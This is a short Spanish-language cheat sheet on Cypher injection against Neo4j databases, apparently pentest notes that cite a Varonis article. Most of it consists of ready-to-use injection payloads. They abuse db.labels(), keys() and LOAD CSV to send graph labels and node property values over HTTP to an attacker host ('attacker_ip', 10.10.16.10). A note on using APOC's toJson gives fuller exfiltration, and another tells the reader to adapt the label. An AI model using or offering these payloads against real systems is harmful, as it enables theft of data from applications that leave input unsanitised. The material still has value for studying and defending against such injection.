Neo4jection

---

Neo4jection: Secrets, Data, and Cloud ExploitsVaronis

---

El atacante abusa de la función CALL db.labels() para listar las etiquetas del grafo (similares a tablas en SQL) y las exfiltra hacia un servidor remoto usando LOAD CSV.

Este tipo de payload se usa en ataques Cypher Injection contra Neo4j cuando el input no está debidamente saneado.

'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip /?l='+label as l RETURN 0 as _0
' RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip /?l='+label as l RETURN 0 as _0 //

Ejemplo de salida:

---

Exfiltración de datos de nodos en Neo4j

Tras identificar las etiquetas con db.labels(), se puede extraer contenido real de los nodos usando keys(n), toString(n[key]) y LOAD CSV. Esto permite enviar cada propiedad al servidor del atacante mediante HTTP. Si APOC está habilitado, es posible serializar nodos completos en JSON con apoc.convert.toJson(n) para una exfiltración más completa y limpia.

' OR 1=1 WITH 1 as a MATCH (u:user) UNWIND keys(u) as p LOAD CSV FROM 'http://10.10.16.10/?' + p +'='+toString(u[p]) as l RETURN 0 as _0 // 

• Cambiar por el label correspondiente y las variables que le hacen referencia.

---